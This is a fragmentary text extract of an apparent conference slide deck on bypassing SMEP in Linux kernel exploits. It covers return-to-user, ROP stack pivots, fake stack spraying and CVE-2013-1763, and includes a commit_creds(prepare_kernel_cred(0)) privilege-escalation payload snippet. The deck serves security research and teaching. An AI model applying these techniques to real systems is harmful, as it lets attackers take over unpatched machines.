Practical SMEP bypass techniques on Linux

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et2usr Option #1 - corrupted function ptr • Find a function pointer to overwrite • mmap privilege escalation payload in user space: int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); commit_creds = 0xffffffffxxxxxxxx; prepare_kernel_cred = 0xffffffffxxxxxxxx; void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } • Trigger the function
et2usr Privilege escalation • struct cred - basic unit of “credentials” • prepare_kernel_cred - allocates and returns a new struct cred • commit_creds - applies the new credentials
Page 1 and 2: Practical
Page 3 and 4: Agenda • Introduction (ret2usr)
Page 5: et2usr High mem addr • Memory spl
Page 9 and 10: et2usr Option #1 - corrupted functi
Page 11 and 12: et2usr Option #2 - corrupted data s
Page 13 and 14: SMEP
Page 15 and 16: SMEP OOPS
Page 17 and 18: SMEP • If CR4.<s
Page 19 and 20: AWS SMEP instance
Page 21 and 22: ROPing • vmlinux vs vmlinuz? •
Page 23 and 24: ROPing IA32 language density • Al
Page 25 and 26: Stack pivot - NX address Exploit at
Page 27 and 28: SMEP Bypass High m
Page 29 and 30: SMEP Bypass High m
Page 31 and 32: SMEP Bypass Option
Page 33 and 34: Fake stack • xchg %eax, %esp; ret
Page 35 and 36: Fake stack Spraying 0x10000 ROP INS
Page 37 and 38: Fake stack Spraying • May land in
Page 39 and 40: PART 2 - CVE-2013-1763
Page 41 and 42: CVE-2013-1763 SOCK_DIAG • Affecte
Page 43 and 44: CVE-2013-1763 SOCK_DIAG
Page 45 and 46: CVE-2013-1763 SOCK_DIAG High mem ad
Page 47 and 48: CVE-2013-1763 SOCK_DIAG High mem ad
Page 49 and 50: CVE-2013-1763 SOCK_DIAG ptr = (unsi
Page 51: Questions? @vnik5287

Practical SMEP bypass techniques on Linux

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